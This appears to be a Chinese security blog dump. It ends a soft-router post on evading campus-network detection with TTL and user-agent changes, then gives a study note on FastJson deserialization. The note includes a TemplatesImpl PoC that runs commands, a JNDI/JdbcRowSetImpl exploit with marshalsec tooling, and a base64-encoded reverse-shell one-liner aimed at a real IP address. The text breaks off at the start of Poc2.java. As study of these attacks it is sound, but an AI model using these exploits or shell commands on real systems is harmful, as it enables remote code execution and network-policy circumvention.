--ttl-set 64 iptables -t mangle -A PREROUTING -i br-lan -j TTL --ttl-set 64 修改ntp，不知道怎么验证。。。\n修改ua：Privoxy，修改成功80端口的http流量的ua成功修改，但是添加443端口ua修改失败，应该没证书的原因？SSL…\n时不时黑名单十分钟，说明上面不怎么管用呃呃呃\nbug 连上第一天，qq的群头像加载不出来，没怎么在意\n第二天起床，看看微信公众号推文，公众号推文的图片也加载不出来，起床排查\n以为是昨晚捣鼓绕过校园网导致的，把配置一步一步改回去，没有效果，重置路由器，可以成功加载图片，但是在我装几个插件后又不能使用，再重置，不能加载图片，查看图片的地址，手动ping，ping不通，到R66S上面ping，ping不通，但是可以通百度等等。。。云主机ping，可以ping通，于是确实是DNS的问题，更换dns服务器为阿里公共DNS：223.5.5.5和223.6.6.6，解决问题\n脚本bug，修改dns后，在未认证下，找不到百度的host，于是乎我把脚本中的域名换为ip\n","date":"2023-05-30T00:00:00Z","permalink":"/2023/05/30/soft-router/","title":"软路由折腾记录"},{"content":"FastJson 反序列化 1. 什么是fastjson? fastjson是阿里巴巴的开源JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。\n2. fastjson的优点 速度快，使用广泛，测试完备，使用简单\nString text = JSON.toJSONString(obj); //序列化 VO vo = JSON.parseObject(\u0026#34;{...}\u0026#34;, VO.class); //反序列化 3. 下载和使用 配置maven依赖\n1 2 3 4 5 \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;com.alibaba\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;fastjson\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;1.2.24\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; 序列化与反序列化 Main.java\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package org.example; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.serializer.SerializerFeature; import java.util.Date; /** * @author L1ao * @version 1.0 */ public class Main { public static void main(String[] args) { Person person = new Person(15, \u0026#34;L1ao\u0026#34;, new Date()); String jsonOutput= JSON.toJSONString(person, SerializerFeature.WriteClassName); System.out.println(jsonOutput); String jsonInput = \u0026#34;{\\\u0026#34;age\\\u0026#34;:15,\\\u0026#34;dateOfBirth\\\u0026#34;:1682316963541,\\\u0026#34;fullName\\\u0026#34;:\\\u0026#34;L1ao\\\u0026#34;}\u0026#34;; String jsonInput2 = \u0026#34;{\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;org.example.Person\\\u0026#34;,\\\u0026#34;age\\\u0026#34;:15,\\\u0026#34;dateOfBirth\\\u0026#34;:1682317227768,\\\u0026#34;fullName\\\u0026#34;:\\\u0026#34;L1ao\\\u0026#34;}\u0026#34;; Person newPerson = JSON.parseObject(jsonInput, Person.class); System.out.println(newPerson.getFullName()); JSONObject newPerson2 = JSON.parseObject(jsonInput2); System.out.println(newPerson2.get(\u0026#34;fullName\u0026#34;)); } } Person.java\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package org.example; import java.util.Date; /** * @author L1ao * @version 1.0 */ public class Person { private int age; private String fullName; private Date dateOfBirth; public Person() { //注意反序列化时为对象时，必须要有默认无参的构造函数，否则会报异常 } public Person(int age, String fullName, Date dateOfBirth) { super(); this.age = age; this.fullName = fullName; this.dateOfBirth = dateOfBirth; } public int getAge() { return age; } public String getFullName() { return fullName; } public Date getDateOfBirth() { return dateOfBirth; } public void setAge(int age) { this.age = age; } public void setFullName(String fullName) { this.fullName = fullName; } public void setDateOfBirth(Date dateOfBirth) { this.dateOfBirth = dateOfBirth; } } 分析序列化过程（参考知识星球中的来分析一下各种情况下getter和setter的效果）\nUser.java\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 package org.example; import java.util.Properties; /** * @author L1ao * @version 1.0 */ public class User { public String name1; //public且有get set public String name2; //public且有get public String name3; //public且有set public String name4; //仅仅public private String age1; //private且有get set private String age2; //private且有get private String age3; //private且有set private String age4; //仅仅private public Properties prop1_1; //public且有get set public Properties prop1_2; //public且有get public Properties prop1_3; //public且有set public Properties prop1_4; //仅仅public private Properties prop2_1; //private且有get set private Properties prop2_2; //private且有get private Properties prop2_3; //private且有set private Properties prop2_4; //仅仅private @Override public String toString() { return \u0026#34;User{\u0026#34; + \u0026#34;name1=\u0026#39;\u0026#34; + name1 + \u0026#39;\\\u0026#39;\u0026#39; + \u0026#34;, name2=\u0026#39;\u0026#34; + name2 + \u0026#39;\\\u0026#39;\u0026#39; + \u0026#34;, name3=\u0026#39;\u0026#34; + name3 + \u0026#39;\\\u0026#39;\u0026#39; + \u0026#34;, name4=\u0026#39;\u0026#34; + name4 + \u0026#39;\\\u0026#39;\u0026#39; + \u0026#34;, age1=\u0026#39;\u0026#34; + age1 + \u0026#39;\\\u0026#39;\u0026#39; + \u0026#34;, age2=\u0026#39;\u0026#34; + age2 + \u0026#39;\\\u0026#39;\u0026#39; + \u0026#34;, age3=\u0026#39;\u0026#34; + age3 + \u0026#39;\\\u0026#39;\u0026#39; + \u0026#34;, age4=\u0026#39;\u0026#34; + age4 + \u0026#39;\\\u0026#39;\u0026#39; + \u0026#34;, prop1_1=\u0026#34; + prop1_1 + \u0026#34;, prop1_2=\u0026#34; + prop1_2 + \u0026#34;, prop1_3=\u0026#34; + prop1_3 + \u0026#34;, prop1_4=\u0026#34; + prop1_4 + \u0026#34;, prop2_1=\u0026#34; + prop2_1 + \u0026#34;, prop2_2=\u0026#34; + prop2_2 + \u0026#34;, prop2_3=\u0026#34; + prop2_3 + \u0026#34;, prop2_4=\u0026#34; + prop2_4 + \u0026#39;}\u0026#39;; } public String getName1() { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + \u0026#34;() is called\u0026#34;); return name1; } public void setName1(String name1) { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + \u0026#34;() is called\u0026#34;); this.name1 = name1; } public String getName2() { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + \u0026#34;() is called\u0026#34;); return name2; } public void setName3(String name3) { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + \u0026#34;() is called\u0026#34;); this.name3 = name3; } public String getAge1() { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + \u0026#34;() is called\u0026#34;); return age1; } public void setAge1(String age1) { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + \u0026#34;() is called\u0026#34;); this.age1 = age1; } public String getAge2() { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + \u0026#34;() is called\u0026#34;); return age2; } public void setAge3(String age3) { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + \u0026#34;() is called\u0026#34;); this.age3 = age3; } public Properties getProp1_1() { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + \u0026#34;() is called\u0026#34;); return prop1_1; } public void setProp1_1(Properties prop1_1) { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + \u0026#34;() is called\u0026#34;); this.prop1_1 = prop1_1; } public Properties getProp1_2() { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + \u0026#34;() is called\u0026#34;); return prop1_2; } public void setProp1_3(Properties prop1_3) { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + \u0026#34;() is called\u0026#34;); this.prop1_3 = prop1_3; } public Properties getProp2_1() { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + \u0026#34;() is called\u0026#34;); return prop2_1; } public void setProp2_1(Properties prop2_1) { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + \u0026#34;() is called\u0026#34;); this.prop2_1 = prop2_1; } public Properties getProp2_2() { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + \u0026#34;() is called\u0026#34;); return prop2_2; } public void setProp2_3(Properties prop2_3) { String methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); System.out.println(methodName + \u0026#34;() is called\u0026#34;); this.prop2_3 = prop2_3; } public User() { this.name1 = \u0026#34;L1ao1\u0026#34;; this.name2 = \u0026#34;L1ao2\u0026#34;; this.name3 = \u0026#34;L1ao3\u0026#34;; this.name4 = \u0026#34;L1ao4\u0026#34;; this.age1 = \u0026#34;a1\u0026#34;; this.age2 = \u0026#34;a2\u0026#34;; this.age3 = \u0026#34;a3\u0026#34;; this.age4 = \u0026#34;a4\u0026#34;; prop1_1 = new Properties(); prop1_2 = new Properties(); prop1_3 = new Properties(); prop1_4 = new Properties(); prop1_1.put(\u0026#34;prop1_1\u0026#34;, \u0026#34;1_1\u0026#34;); prop1_2.put(\u0026#34;prop1_2\u0026#34;, \u0026#34;1_2\u0026#34;); prop1_3.put(\u0026#34;prop1_3\u0026#34;, \u0026#34;1_3\u0026#34;); prop1_4.put(\u0026#34;prop1_4\u0026#34;, \u0026#34;1_4\u0026#34;); prop2_1 = new Properties(); prop2_2 = new Properties(); prop2_3 = new Properties(); prop2_4 = new Properties(); prop2_1.put(\u0026#34;prop2_1\u0026#34;, \u0026#34;2_1\u0026#34;); prop2_2.put(\u0026#34;prop2_2\u0026#34;, \u0026#34;2_2\u0026#34;); prop2_3.put(\u0026#34;prop2_3\u0026#34;, \u0026#34;2_3\u0026#34;); prop2_4.put(\u0026#34;prop2_4\u0026#34;, \u0026#34;2_4\u0026#34;); System.out.println(\u0026#34;User init() is called\u0026#34;); } } 序列化 常用方法\n1 2 3 4 5 6 7 8 public static String toJSONString(Object object) { return toJSONString(object, emptyFilters); } public static String toJSONString(Object object, SerializerFeature... features) { return toJSONString(object, DEFAULT_GENERATE_FEATURE, features); } ...... 非自省 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 public static void userSer(){ User user = new User(); System.out.println(\u0026#34;=====================\u0026#34;); String jsonOutput= JSON.toJSONString(user); System.out.println(jsonOutput); } 输出 User init() is called ===================== getAge1() is called getAge2() is called getName1() is called getName2() is called getProp1_1() is called getProp1_2() is called getProp2_1() is called getProp2_2() is called { \u0026#34;age1\u0026#34;: \u0026#34;a1\u0026#34;, \u0026#34;age2\u0026#34;: \u0026#34;a2\u0026#34;, \u0026#34;name1\u0026#34;: \u0026#34;L1ao1\u0026#34;, \u0026#34;name2\u0026#34;: \u0026#34;L1ao2\u0026#34;, \u0026#34;name3\u0026#34;: \u0026#34;L1ao3\u0026#34;, \u0026#34;name4\u0026#34;: \u0026#34;L1ao4\u0026#34;, \u0026#34;prop1_1\u0026#34;: { \u0026#34;prop1_1\u0026#34;: \u0026#34;1_1\u0026#34; }, \u0026#34;prop1_2\u0026#34;: { \u0026#34;prop1_2\u0026#34;: \u0026#34;1_2\u0026#34; }, \u0026#34;prop1_3\u0026#34;: { \u0026#34;prop1_3\u0026#34;: \u0026#34;1_3\u0026#34; }, \u0026#34;prop1_4\u0026#34;: { \u0026#34;prop1_4\u0026#34;: \u0026#34;1_4\u0026#34; }, \u0026#34;prop2_1\u0026#34;: { \u0026#34;prop2_1\u0026#34;: \u0026#34;2_1\u0026#34; }, \u0026#34;prop2_2\u0026#34;: { \u0026#34;prop2_2\u0026#34;: \u0026#34;2_2\u0026#34; } } 观察发现在系列化时会调用getters，public修饰的变量会被赋值，private修饰并没有get的变量不会被赋值 自省 JSON 标准是不⽀持⾃省的，也就是说根据 JSON ⽂本，不知道它包含的对象的类型。 FastJson ⽀持⾃省，在序列化时传⼊类型信息 SerializerFeature.WriteClassName ，可以得到能 表明对象类型的 JSON ⽂本。 FastJson 的漏洞就是由于这个功能引起的。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 public static void userSer(){ User user = new User(); System.out.println(\u0026#34;=====================\u0026#34;); String jsonOutput= JSON.toJSONString(user,SerializerFeature.WriteClassName); System.out.println(jsonOutput); } 输出 User init() is called ===================== getAge1() is called getAge2() is called getName1() is called getName2() is called getProp1_1() is called getProp1_2() is called getProp2_1() is called getProp2_2() is called { \u0026#34;@type\u0026#34;: \u0026#34;org.example.User\u0026#34;, \u0026#34;age1\u0026#34;: \u0026#34;a1\u0026#34;, \u0026#34;age2\u0026#34;: \u0026#34;a2\u0026#34;, \u0026#34;name1\u0026#34;: \u0026#34;L1ao1\u0026#34;, \u0026#34;name2\u0026#34;: \u0026#34;L1ao2\u0026#34;, \u0026#34;name3\u0026#34;: \u0026#34;L1ao3\u0026#34;, \u0026#34;name4\u0026#34;: \u0026#34;L1ao4\u0026#34;, \u0026#34;prop1_1\u0026#34;: { \u0026#34;@type\u0026#34;: \u0026#34;java.util.Properties\u0026#34;, \u0026#34;prop1_1\u0026#34;: \u0026#34;1_1\u0026#34; }, \u0026#34;prop1_2\u0026#34;: { \u0026#34;@type\u0026#34;: \u0026#34;java.util.Properties\u0026#34;, \u0026#34;prop1_2\u0026#34;: \u0026#34;1_2\u0026#34; }, \u0026#34;prop1_3\u0026#34;: { \u0026#34;@type\u0026#34;: \u0026#34;java.util.Properties\u0026#34;, \u0026#34;prop1_3\u0026#34;: \u0026#34;1_3\u0026#34; }, \u0026#34;prop1_4\u0026#34;: { \u0026#34;@type\u0026#34;: \u0026#34;java.util.Properties\u0026#34;, \u0026#34;prop1_4\u0026#34;: \u0026#34;1_4\u0026#34; }, \u0026#34;prop2_1\u0026#34;: { \u0026#34;@type\u0026#34;: \u0026#34;java.util.Properties\u0026#34;, \u0026#34;prop2_1\u0026#34;: \u0026#34;2_1\u0026#34; }, \u0026#34;prop2_2\u0026#34;: { \u0026#34;@type\u0026#34;: \u0026#34;java.util.Properties\u0026#34;, \u0026#34;prop2_2\u0026#34;: \u0026#34;2_2\u0026#34; } } 新增@type字段用于指明反序列化对象，其他不变 反序列化 非自省 常用方法\n1 2 3 4 public static \u0026lt;T\u0026gt; T parseObject(String text, Class\u0026lt;T\u0026gt; clazz) { return parseObject(text, clazz); } ...... 1 2 3 4 5 6 7 8 9 10 11 12 13 14 String jsonInput = \u0026#34;{\\\u0026#34;age1\\\u0026#34;:\\\u0026#34;a1\\\u0026#34;,\\\u0026#34;age2\\\u0026#34;:\\\u0026#34;a2\\\u0026#34;,\\\u0026#34;name1\\\u0026#34;:\\\u0026#34;L1ao1\\\u0026#34;,\\\u0026#34;name2\\\u0026#34;:\\\u0026#34;L1ao2\\\u0026#34;,\\\u0026#34;name3\\\u0026#34;:\\\u0026#34;L1ao3\\\u0026#34;,\\\u0026#34;name4\\\u0026#34;:\\\u0026#34;L1ao4\\\u0026#34;,\\\u0026#34;prop1_1\\\u0026#34;:{\\\u0026#34;prop1_1\\\u0026#34;:\\\u0026#34;1_1\\\u0026#34;},\\\u0026#34;prop1_2\\\u0026#34;:{\\\u0026#34;prop1_2\\\u0026#34;:\\\u0026#34;1_2\\\u0026#34;},\\\u0026#34;prop1_3\\\u0026#34;:{\\\u0026#34;prop1_3\\\u0026#34;:\\\u0026#34;1_3\\\u0026#34;},\\\u0026#34;prop1_4\\\u0026#34;:{\\\u0026#34;prop1_4\\\u0026#34;:\\\u0026#34;1_4\\\u0026#34;},\\\u0026#34;prop2_1\\\u0026#34;:{\\\u0026#34;prop2_1\\\u0026#34;:\\\u0026#34;2_1\\\u0026#34;},\\\u0026#34;prop2_2\\\u0026#34;:{\\\u0026#34;prop2_2\\\u0026#34;:\\\u0026#34;2_2\\\u0026#34;}}\u0026#34;; User newUser = JSON.parseObject(jsonInput, User.class); System.out.println(newUser); 输出 User init() is called setAge1() is called setName1() is called setName3() is called setProp1_1() is called setProp1_3() is called setProp2_1() is called getProp2_2() is called User{name1=\u0026#39;L1ao1\u0026#39;, name2=\u0026#39;L1ao2\u0026#39;, name3=\u0026#39;L1ao3\u0026#39;, name4=\u0026#39;L1ao4\u0026#39;, age1=\u0026#39;a1\u0026#39;, age2=\u0026#39;null\u0026#39;, age3=\u0026#39;null\u0026#39;, age4=\u0026#39;null\u0026#39;, prop1_1={prop1_1=1_1}, prop1_2={prop1_2=1_2}, prop1_3={prop1_3=1_3}, prop1_4={prop1_4=1_4}, prop2_1={prop2_1=2_1}, prop2_2=null, prop2_3=null, prop2_4=null} public全部赋值，private有set的被赋值，其他为null，额外调用一次getProp2_2？？为什么 自省 JSON.parseObject 除了传⼊ Class clazz ⾮⾃省反序列化，也同样有⾃省反序列化\n常用方法\n1 2 3 4 public static JSONObject parseObject(String text) { Object obj = parse(text); return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 String jsonInput = \u0026#34;{\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;org.example.User\\\u0026#34;,\\\u0026#34;age1\\\u0026#34;:\\\u0026#34;a1\\\u0026#34;,\\\u0026#34;age2\\\u0026#34;:\\\u0026#34;a2\\\u0026#34;,\\\u0026#34;name1\\\u0026#34;:\\\u0026#34;L1ao1\\\u0026#34;,\\\u0026#34;name2\\\u0026#34;:\\\u0026#34;L1ao2\\\u0026#34;,\\\u0026#34;name3\\\u0026#34;:\\\u0026#34;L1ao3\\\u0026#34;,\\\u0026#34;name4\\\u0026#34;:\\\u0026#34;L1ao4\\\u0026#34;,\\\u0026#34;prop1_1\\\u0026#34;:{\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;java.util.Properties\\\u0026#34;,\\\u0026#34;prop1_1\\\u0026#34;:\\\u0026#34;1_1\\\u0026#34;},\\\u0026#34;prop1_2\\\u0026#34;:{\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;java.util.Properties\\\u0026#34;,\\\u0026#34;prop1_2\\\u0026#34;:\\\u0026#34;1_2\\\u0026#34;},\\\u0026#34;prop1_3\\\u0026#34;:{\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;java.util.Properties\\\u0026#34;,\\\u0026#34;prop1_3\\\u0026#34;:\\\u0026#34;1_3\\\u0026#34;},\\\u0026#34;prop1_4\\\u0026#34;:{\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;java.util.Properties\\\u0026#34;,\\\u0026#34;prop1_4\\\u0026#34;:\\\u0026#34;1_4\\\u0026#34;},\\\u0026#34;prop2_1\\\u0026#34;:{\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;java.util.Properties\\\u0026#34;,\\\u0026#34;prop2_1\\\u0026#34;:\\\u0026#34;2_1\\\u0026#34;},\\\u0026#34;prop2_2\\\u0026#34;:{\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;java.util.Properties\\\u0026#34;,\\\u0026#34;prop2_2\\\u0026#34;:\\\u0026#34;2_2\\\u0026#34;}}\\n\u0026#34;; Object newUser = JSON.parseObject(jsonInput); System.out.println(newUser); 输出 User init() is called setAge1() is called setName1() is called setName3() is called setProp1_1() is called setProp1_3() is called setProp2_1() is called getProp2_2() is called getAge1() is called getAge2() is called getName1() is called getName2() is called getProp1_1() is called getProp1_2() is called getProp2_1() is called getProp2_2() is called {\u0026#34;prop1_3\u0026#34;:{\u0026#34;prop1_3\u0026#34;:\u0026#34;1_3\u0026#34;},\u0026#34;prop1_4\u0026#34;:{\u0026#34;prop1_4\u0026#34;:\u0026#34;1_4\u0026#34;},\u0026#34;name4\u0026#34;:\u0026#34;L1ao4\u0026#34;,\u0026#34;prop1_1\u0026#34;:{\u0026#34;prop1_1\u0026#34;:\u0026#34;1_1\u0026#34;},\u0026#34;name3\u0026#34;:\u0026#34;L1ao3\u0026#34;,\u0026#34;prop1_2\u0026#34;:{\u0026#34;prop1_2\u0026#34;:\u0026#34;1_2\u0026#34;},\u0026#34;prop2_1\u0026#34;:{\u0026#34;prop2_1\u0026#34;:\u0026#34;2_1\u0026#34;},\u0026#34;name2\u0026#34;:\u0026#34;L1ao2\u0026#34;,\u0026#34;name1\u0026#34;:\u0026#34;L1ao1\u0026#34;,\u0026#34;age1\u0026#34;:\u0026#34;a1\u0026#34;} 调用了所有getter和setter，其中getProp2_2调用了两次，为什么？？ String jsonInput = \u0026#34;{\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;org.example.User\\\u0026#34;,\\\u0026#34;age1\\\u0026#34;:\\\u0026#34;a1\\\u0026#34;,\\\u0026#34;age2\\\u0026#34;:\\\u0026#34;a2\\\u0026#34;,\\\u0026#34;name1\\\u0026#34;:\\\u0026#34;L1ao1\\\u0026#34;,\\\u0026#34;name2\\\u0026#34;:\\\u0026#34;L1ao2\\\u0026#34;,\\\u0026#34;name3\\\u0026#34;:\\\u0026#34;L1ao3\\\u0026#34;,\\\u0026#34;name4\\\u0026#34;:\\\u0026#34;L1ao4\\\u0026#34;,\\\u0026#34;prop1_1\\\u0026#34;:{\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;java.util.Properties\\\u0026#34;,\\\u0026#34;prop1_1\\\u0026#34;:\\\u0026#34;1_1\\\u0026#34;},\\\u0026#34;prop1_2\\\u0026#34;:{\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;java.util.Properties\\\u0026#34;,\\\u0026#34;prop1_2\\\u0026#34;:\\\u0026#34;1_2\\\u0026#34;},\\\u0026#34;prop1_3\\\u0026#34;:{\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;java.util.Properties\\\u0026#34;,\\\u0026#34;prop1_3\\\u0026#34;:\\\u0026#34;1_3\\\u0026#34;},\\\u0026#34;prop1_4\\\u0026#34;:{\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;java.util.Properties\\\u0026#34;,\\\u0026#34;prop1_4\\\u0026#34;:\\\u0026#34;1_4\\\u0026#34;},\\\u0026#34;prop2_1\\\u0026#34;:{\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;java.util.Properties\\\u0026#34;,\\\u0026#34;prop2_1\\\u0026#34;:\\\u0026#34;2_1\\\u0026#34;},\\\u0026#34;prop2_2\\\u0026#34;:{\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;java.util.Properties\\\u0026#34;,\\\u0026#34;prop2_2\\\u0026#34;:\\\u0026#34;2_2\\\u0026#34;}}\\n\u0026#34;; Object newUser = JSON.parse(jsonInput); 输出 User init() is called setAge1() is called setName1() is called setName3() is called setProp1_1() is called setProp1_3() is called setProp2_1() is called getProp2_2() is called 调用了所有setter，其中setAge3没有调用是因为传入的json中没有age3字段，至于为什么没有，是因为反序列化时没有get方法并且是private所以没有age3字段 结论 根据⼏种输出的结果，可以得到每种调⽤⽅式的特点：\nparseObject(String text, Class clazz) ，构造⽅法 + setter + 满⾜条件额外的 getter\nparseObject(String text) ，构造⽅法 + setter + getter + 满⾜条件额外 的 getter\nparse(String text) ，构造⽅法 + setter + 满⾜条件额外的 getter\n这个额外条件是什么呢？不解\n4. TemplatesImpl 反序列化利用链 利用条件：\n开启了Feature.SupportNonPublicField fastjson \u0026lt; 1.2.48 ? 先放个exp吧\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 package org.example; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.serializer.SerializerFeature; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import java.lang.reflect.Field; import java.util.Base64; /** * @author L1ao * @version 1.0 */ public class Poc { public static void setValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass(\u0026#34;a\u0026#34;); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody(\u0026#34;Runtime.getRuntime().exec(\\\u0026#34;calc\\\u0026#34;);\u0026#34;); clazz.addConstructor(constructor); byte[] bytes = clazz.toBytecode(); String payload = \u0026#34;{\u0026#34; + \u0026#34;\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\\\u0026#34;,\u0026#34; + \u0026#34;\\\u0026#34;_bytecodes\\\u0026#34;: [\\\u0026#34;\u0026#34;+Base64.getEncoder().encodeToString(bytes)+\u0026#34;\\\u0026#34;],\u0026#34; + \u0026#34;\\\u0026#34;_name\\\u0026#34;:\\\u0026#34;L1ao\\\u0026#34;,\u0026#34; + \u0026#34;\\\u0026#34;_tfactory\\\u0026#34;:{ },\u0026#34; + \u0026#34;\\\u0026#34;_outputProperties\\\u0026#34;: {},\u0026#34; + \u0026#34;\\\u0026#34;_name\\\u0026#34;:\\\u0026#34;a\\\u0026#34;,\u0026#34; + \u0026#34;\\\u0026#34;_version\\\u0026#34;:\\\u0026#34;1.0\\\u0026#34;,\u0026#34; + \u0026#34;\\\u0026#34;allowedProtocols\\\u0026#34;:\\\u0026#34;all\\\u0026#34;\u0026#34; + \u0026#34;}\u0026#34;; System.out.println(payload); JSON.parseObject(payload, Feature.SupportNonPublicField); } } 反序列化会触发getter：getOutputProperties中defineTransletClasses来加载字节码，调用栈如下\ndefineTransletClasses:415, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getTransletInstance:452, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:485, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:193, JSON (com.alibaba.fastjson) parseObject:197, JSON (com.alibaba.fastjson) main:46, Poc (org.example) 5. JNDI \u0026amp;\u0026amp; JdbcRowSetImpl利⽤链 不需要开启Feature.SupportNonPublicField 高版本jndi有限制 基于ldap的利⽤⽅式：适⽤jdk版本： JDK 11.0.1 、 8u191 、 7u201 、 6u211 之前。 基于rmi的利⽤⽅式：适⽤jdk版本： JDK 6u132 , JDK 7u122 , JDK 8u113 之前 相关项目：\nhttps://github.com/mbechler/marshalsec https://github.com/welk1n/JNDI-Injection-Exploit 利用过程\nExploit.java\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.io.Serializable; import java.util.Hashtable; public class Exploit implements ObjectFactory, Serializable { public Exploit() { try { Runtime.getRuntime().exec(\u0026#34;calc\u0026#34;); } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args) { Exploit exploit = new Exploit(); } public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable\u0026lt;?, ?\u0026gt; environment) throws Exception { return null; } } marshalsec 使用 command\n1 2 3 4 javac Exploit.java # 编译成字节码 python3 -m http.server 11012 # 挂载到网上 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://localhost:11012/#Exploit JNDI-Injection-Exploit 使用 command\n1 2 3 4 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] eg: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A localhost your command is passed to Runtime.getRuntime().exec() as parameters, 所以这里如果要执行反弹shell等等复杂的命令时可以使用 bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuNTcuNTIvMTEwMTIgMD4mMQ==}|{base64,-d}|{bash,-i} Poc2.java\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package org.example; /** * @author L1ao * @version 1.0 